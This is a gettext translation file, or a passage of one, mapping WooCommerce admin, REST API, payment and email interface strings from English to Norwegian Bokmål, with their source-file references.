#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/order-confirmation-downloads-wrapper.js:1
msgid "Downloads"
msgstr "Nedlastinger"
#: includes/admin/meta-boxes/views/html-order-items.php:389
msgid "Note: the refund reason will be visible by the customer."
msgstr "NB: Årsaken til refusjonen blir synlig for kunden."
#: includes/admin/meta-boxes/views/html-order-items.php:321
msgid "This order is no longer editable."
msgstr "Denne ordren er ikke lenger mulig å redigere."
#: includes/admin/meta-boxes/views/html-order-items.php:316
msgid "Add item(s)"
msgstr "Legg til produkt(er)"
#: includes/admin/meta-boxes/views/html-order-item.php:217
msgid "Delete item"
msgstr "Slett produktlinje"
#: includes/admin/meta-boxes/views/html-order-item.php:217
msgid "Edit item"
msgstr "Rediger produktlinje"
#: includes/admin/meta-boxes/views/html-order-download-permission.php:36
msgid "Customer download link"
msgstr "Kunde nedlastnings lenke"
#: includes/admin/meta-boxes/views/html-variation-admin.php:246
msgid "Stock quantity"
msgstr "Antall på lager"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:623
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:809
#: includes/admin/meta-boxes/views/html-product-data-general.php:226
#: includes/admin/views/html-bulk-edit-product.php:102
#: includes/admin/views/html-quick-edit-product.php:65
#: includes/export/class-wc-product-csv-exporter.php:141
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:25
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:55
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:110
msgid "Tax status"
msgstr "Avgiftsstatus"
#: includes/admin/class-wc-admin-setup-wizard.php:1606
msgid "A simple offline gateway that lets you accept cash on delivery."
msgstr "En enkel frakoblet betalingsmåte som lar deg ta betalt ved levering."
#: includes/admin/class-wc-admin-setup-wizard.php:1600
msgid "A simple offline gateway that lets you accept BACS payment."
msgstr "En enkel frakoblet betalingsmåte som lar deg ta imot BACS-betaling."
#: includes/admin/class-wc-admin-setup-wizard.php:1594
msgid "A simple offline gateway that lets you accept a check as method of payment."
msgstr "En enkel frakoblet betalingsmåte som lar deg ta imot sjekkbetaling."
#: includes/admin/class-wc-admin-setup-wizard.php:1593
#: includes/gateways/cheque/class-wc-gateway-cheque.php:48
#: includes/gateways/cheque/class-wc-gateway-cheque.php:84
msgctxt "Check payment method"
msgid "Check payments"
msgstr "Sjekkbetalinger"
#: includes/admin/class-wc-admin-setup-wizard.php:1457
msgid "Accept payments via PayPal using account balance or credit card."
msgstr "Ta imot betalinger via PayPal ved å bruke saldo på kontoen eller kredittkort."
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:73
msgid "Ready to start selling something awesome?"
msgstr "Klar for å sette igang å selge noe kjempebra?"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:48
msgid "Learn more about coupons"
msgstr "Lær mer om rabattkoder"
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:46
msgid "Coupons are a great way to offer discounts and rewards to your customers. They will appear here once created."
msgstr "Rabattkoder er en fin måte til å tilby rabatter og belønninger for deres kunder. De vil vises her når de er opprettet."
#: src/Internal/Admin/Orders/ListTable.php:296
msgid "Learn more about orders"
msgstr "Lær mer om ordrer"
#: src/Internal/Admin/Orders/ListTable.php:292
msgid "When you receive a new order, it will appear here."
msgstr "Når du mottar en ny ordre vil den vises her."
#: includes/admin/class-wc-admin-help.php:57
msgid "Community forum"
msgstr "Forum"
#: includes/admin/class-wc-admin-help.php:42
#: includes/admin/class-wc-admin-help.php:44
msgid "Help & Support"
msgstr "Hjelp & Støtte"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:652
msgid " Stripe"
msgstr " Stripe"
#: includes/admin/class-wc-admin-setup-wizard.php:1599
msgid "Bank transfer (BACS) payments"
msgstr "Betalinger via bankoverføring (BACS)"
#: includes/admin/class-wc-admin-assets.php:635
msgid "Are you sure you wish to delete this note? This action cannot be undone."
msgstr "Er du sikker på at du vil slette dette notatet? Handlingen kan ikke angres."
#: includes/abstracts/abstract-wc-shipping-method.php:355
#: src/Internal/Admin/Orders/Edit.php:79
msgid "Items"
msgstr "Elementer"
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:778
msgid "Limit result set to resources with a specific slug."
msgstr "Avgrens resultat til ressurser med et gitt identifikator."
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:772
msgid "Limit result set to resources assigned to a specific product."
msgstr "Avgrens resultat til ressurser tilknyttet et gitt produkt."
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:760
msgid "Whether to hide resources not assigned to any products."
msgstr "Hvorvidt ressurser som ikke er tilknyttet noe produkt skal skjules."
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:744
msgid "Sort collection by resource attribute."
msgstr "Sortér samlingen etter ressursens attributt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:611
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:403
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:510
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:565
msgid "The resource cannot be deleted."
msgstr "Ressursen kan ikke slettes."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:388
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:548
msgid "Resource does not support trashing."
msgstr "Ressursen kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:402
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:499
msgid "Can not set resource parent, taxonomy is not hierarchical."
msgstr "Kan ikke lagre ressurs-forelder, taksonomien er ikke hierarkisk."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:175
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:193
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:211
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:592
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:149
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:166
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-methods-v2-controller.php:129
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:121
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:219
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zone-methods-v2-controller.php:276
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:47
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:263
msgid "Resource does not exist."
msgstr "Ressursen eksisterer ikke."
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:254
msgid "Taxonomy does not exist."
msgstr "Taksonomien eksisterer ikke."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:205
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:210
msgid "Sorry, you cannot delete this resource."
msgstr "Beklager, du kan ikke slette denne ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:197
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:116
msgid "Sorry, you cannot update resource."
msgstr "Beklager, du kan ikke oppdatere en ressurs."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:161
msgid "Sorry, you cannot create new resource."
msgstr "Beklager, du kan ikke opprette en ny ressurs."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:106
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:105
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:107
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:105
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:116
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:79
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:93
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:114
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:119
#: includes/rest-api/Controllers/Version2/class-wc-rest-tax-classes-v2-controller.php:75
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:106
msgid "Required to be true, as resource does not support trashing."
msgstr "Må være sant, for ressursen kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:707
msgid "Use WP Query arguments to modify the response; private query vars require appropriate authorization."
msgstr "Bruk WP Query arguments for å tilpasse responsen; private query vars forutsetter riktig autorisasjon."
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:682
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:694
#: src/Admin/API/Reports/Stock/Controller.php:469
#: src/StoreApi/Routes/V1/Products.php:261
msgid "Limit result set to all items except those of a particular parent ID."
msgstr "Avgrens resultatet til alle produkter untatt de med en bestemt foreldre-ID."
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:673
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:685
#: src/Admin/API/Reports/Stock/Controller.php:460
#: src/StoreApi/Routes/V1/Products.php:251
msgid "Limit result set to those of particular parent IDs."
msgstr "Avgrens resultatet til de fra bestemte forelder-ID'er."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:1014
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:748
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:757
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:657
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:667
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1001
#: src/Admin/API/Notes.php:643 src/Admin/API/Reports/GenericController.php:156
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:131
#: src/StoreApi/Routes/V1/ProductReviews.php:212
#: src/StoreApi/Routes/V1/Products.php:231
msgid "Sort collection by object attribute."
msgstr "Sortér samlingen etter objektets attributt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:1006
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:740
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:750
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:650
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:660
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:992
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:733
#: src/Admin/API/Notes.php:636 src/Admin/API/Reports/GenericController.php:149
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:124
#: src/StoreApi/Routes/V1/ProductReviews.php:204
#: src/StoreApi/Routes/V1/Products.php:223
msgid "Order sort attribute ascending or descending."
msgstr "Rekkefølge for attributt stigende eller synkende."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:999
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:733
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:744
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:644
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:654
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:988
#: src/Admin/API/Reports/Stock/Controller.php:441
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:87
#: src/StoreApi/Routes/V1/ProductReviews.php:197
#: src/StoreApi/Routes/V1/Products.php:216
msgid "Offset the result set by a specific number of items."
msgstr "Forskyv resultat med et gitt antall elementer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:735
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:635
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:645
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:718
#: src/Admin/API/Reports/Stock/Controller.php:432
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:161
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:64
#: src/StoreApi/Routes/V1/Products.php:206
msgid "Limit result set to specific ids."
msgstr "Avgrens resultat til gitte ID'er."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:720
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:602
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:630
#: src/Admin/API/Leaderboards.php:516
#: src/Admin/API/Reports/GenericController.php:143
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:685
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:176
msgid "Limit response to resources published before a given ISO8601 compliant date."
msgstr "Avgrens respons til ressurser som er publisert før en gitt ISO8601-kompatibel dato."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:714
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:596
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:624
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:962
#: src/Admin/API/Leaderboards.php:510
#: src/Admin/API/Reports/GenericController.php:137
#: src/Admin/API/Reports/PerformanceIndicators/Controller.php:679
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:170
msgid "Limit response to resources published after a given ISO8601 compliant date."
msgstr "Avgrens respons til ressurser som er publisert etter en gitt ISO8601-kompatibel dato."
#. translators: %s: post type
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:316
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1712
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:485
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:611
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1669
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:509
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:467
msgid "The %s cannot be deleted."
msgstr "%s kan ikke slettes."
#. translators: %s: post type
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1701
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:597
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1653
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:499
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:457
msgid "The %s has already been deleted."
msgstr "%s har allerede blitt slettet."
#. translators: %s: post type
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1695
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:586
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1640
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:492
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:451
msgid "The %s does not support trashing."
msgstr "%s kan ikke legges i papirkurven."
#. translators: %s: post type
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1663
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:568
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1602
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:478
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:438
msgid "Sorry, you are not allowed to delete %s."
msgstr "Beklager, du har ikke tillatelse til å slette %s."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1646
msgid "Invalid post ID."
msgstr "Ugyldig innlegg-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:354
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:879
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:791
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:395
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:564
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:39
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:260
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:421
msgid "ID is invalid."
msgstr "ID'en er ugyldig."
#. translators: %s: post type
#: includes/rest-api/Controllers/Version1/class-wc-rest-coupons-v1-controller.php:313
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:220
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:281
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:840
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:746
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:333
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:202
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:73
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:175
msgid "Cannot create existing %s."
msgstr "Kan ikke opprette eksisterende %s."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:315
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:476
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:181
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:195
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:215
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:547
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1569
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:140
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:249
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:461
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:153
#: src/RestApi/Routes/V4/AbstractController.php:290
msgid "Invalid ID."
msgstr "Ugyldig ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:297
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:230
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:198
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:219
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-reviews-v2-controller.php:68
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:134
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:224
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:237
msgid "Sorry, you are not allowed to batch manipulate this resource."
msgstr "Beklager, du har ikke tillatelse til å massebehandle denne ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:258
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:169
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:963
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:215
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:126
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:183
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:204
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:203
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:88
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:119
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:119
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:218
msgid "Sorry, you are not allowed to delete this resource."
msgstr "Beklager, du har ikke tillatelse til å slette denne ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:207
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:947
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:168
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:189
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:187
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:111
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:201
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:72
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:103
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:101
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:199
msgid "Sorry, you are not allowed to edit this resource."
msgstr "Beklager, du har ikke lov å redigere denne ressurssen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:188
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:152
#: includes/rest-api/Controllers/Version1/class-wc-rest-orders-v1-controller.php:931
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:179
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:153
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:153
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:105
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:174
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:171
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:98
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-methods-v2-controller.php:92
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:103
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:56
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-controller.php:75
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:87
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:158
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:180
#: src/Admin/API/ProductAttributeTerms.php:66
msgid "Sorry, you cannot view this resource."
msgstr "Beklager, du kan ikke se denne ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:170
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:136
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:167
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:111
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:139
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:160
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:71
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:172
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:83
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:161
#: src/Admin/API/OnboardingTasks.php:248
msgid "Sorry, you are not allowed to create resources."
msgstr "Beklager, du har ikke lov til å opprette ressurser."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customer-downloads-v1-controller.php:76
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:137
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:121
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:147
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:134
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:69
#: includes/rest-api/Controllers/Version1/class-wc-rest-reports-v1-controller.php:62
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:96
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:124
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:91
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:145
#: includes/rest-api/Controllers/Version2/class-wc-rest-payment-gateways-v2-controller.php:85
#: includes/rest-api/Controllers/Version2/class-wc-rest-setting-options-v2-controller.php:383
#: includes/rest-api/Controllers/Version2/class-wc-rest-settings-v2-controller.php:179
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-methods-v2-controller.php:79
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:90
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:105
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-controller.php:61
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:57
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-custom-fields-controller.php:136
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:139
#: includes/rest-api/Controllers/Version3/class-wc-rest-shipping-zones-controller-base.php:65
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:142
#: src/Admin/API/Features.php:62 src/Admin/API/MarketingCampaigns.php:71
#: src/Admin/API/MarketingCampaignTypes.php:82
#: src/Admin/API/MarketingChannels.php:69 src/Admin/API/Notes.php:288
#: src/Admin/API/Notes.php:302 src/Admin/API/OnboardingFreeExtensions.php:67
#: src/Admin/API/OnboardingProductTypes.php:62
#: src/Admin/API/OnboardingProfile.php:155
#: src/RestApi/Routes/V4/ShippingZones/Controller.php:190
msgid "Sorry, you cannot list resources."
msgstr "Beklager, du kan ikke liste ressurser."
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:540
msgid "List of delete resources."
msgstr "Liste over slettede ressurser."
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:532
msgid "List of updated resources."
msgstr "Liste over oppdaterte ressurser."
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:524
msgid "List of created resources."
msgstr "Liste over lagde ressurser."
#. translators: %s: items limit
#: includes/rest-api/Controllers/Version3/class-wc-rest-controller.php:197
msgid "Unable to accept more than %s items for this request."
msgstr "Kunne ikke akseptere mer enn %s artikler for denne forespørselen."
#: includes/abstracts/abstract-wc-payment-gateway.php:658
msgid "Save to account"
msgstr "Lagre til konto"
#: i18n/countries.php:263
msgid "Samoa"
msgstr "Samoa"
#: i18n/countries.php:252
msgid "United States (US) Minor Outlying Islands"
msgstr "United States (US) Minor Outlying Islands"
#: i18n/continents.php:281
msgid "South America"
msgstr "Sør-Amerika"
#: i18n/continents.php:250
msgid "Oceania"
msgstr "Oseania"
#: i18n/continents.php:204
msgid "North America"
msgstr "Nord-Amerika"
#: i18n/continents.php:146
msgid "Europe"
msgstr "Europa"
#: i18n/continents.php:88
msgid "Asia"
msgstr "Asia"
#: i18n/continents.php:15
msgid "Africa"
msgstr "Afrika"
#: includes/admin/class-wc-admin-assets.php:711
#: includes/admin/views/html-admin-page-status-report.php:73
msgid "Copying to clipboard failed. Please press Ctrl/Cmd+C to copy."
msgstr "Kopiering til utklippstavlen mislyktes. Vennligst velg Ctrl/Cmd + C for å kopiere."
#: includes/wc-core-functions.php:627
msgid "Saudi riyal"
msgstr "Saudi riyal"
#: includes/class-wc-frontend-scripts.php:750
msgid "Please enter a stronger password."
msgstr "Du må fylle inn et sterkere passord."
#. translators: %s: order link.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:302
msgid "Payment for order %s refunded"
msgstr "Innbetalt beløp for ordre %s er refundert"
#: includes/emails/class-wc-email-cancelled-order.php:53
msgid "Cancelled order emails are sent to chosen recipient(s) when orders have been marked cancelled (if they were previously processing or on-hold)."
msgstr "E-post om kansellerte ordre sendes til valgte mottakere når ordrer har blitt merket kansellert (hvis de tidligere var under behandling eller på vent)."
#. translators: %s is product title
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:69
#: templates/single-product-reviews.php:75
msgid "Be the first to review “%s”"
msgstr "Bli den første til å omtale «%s»"
#: includes/admin/helper/class-wc-helper-admin.php:276
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:171
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:180
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:189
#: src/Internal/Admin/Analytics.php:159
#: src/Internal/ProductDownloads/ApprovedDirectories/Admin/SyncUI.php:68
#: templates/single-product/add-to-cart/variable.php:55
msgid "Clear"
msgstr "Nullstill"
#. translators: %1$s: Order number. %2$s: Customer full name.
#: templates/emails/admin-failed-order.php:34
#: templates/emails/plain/admin-failed-order.php:29
msgid "Payment for order #%1$s from %2$s has failed. The order was as follows:"
msgstr "Betaling for ordrenr. %1$s fra %2$s mislyktes. Ordren var som følger:"
#: templates/checkout/thankyou.php:33
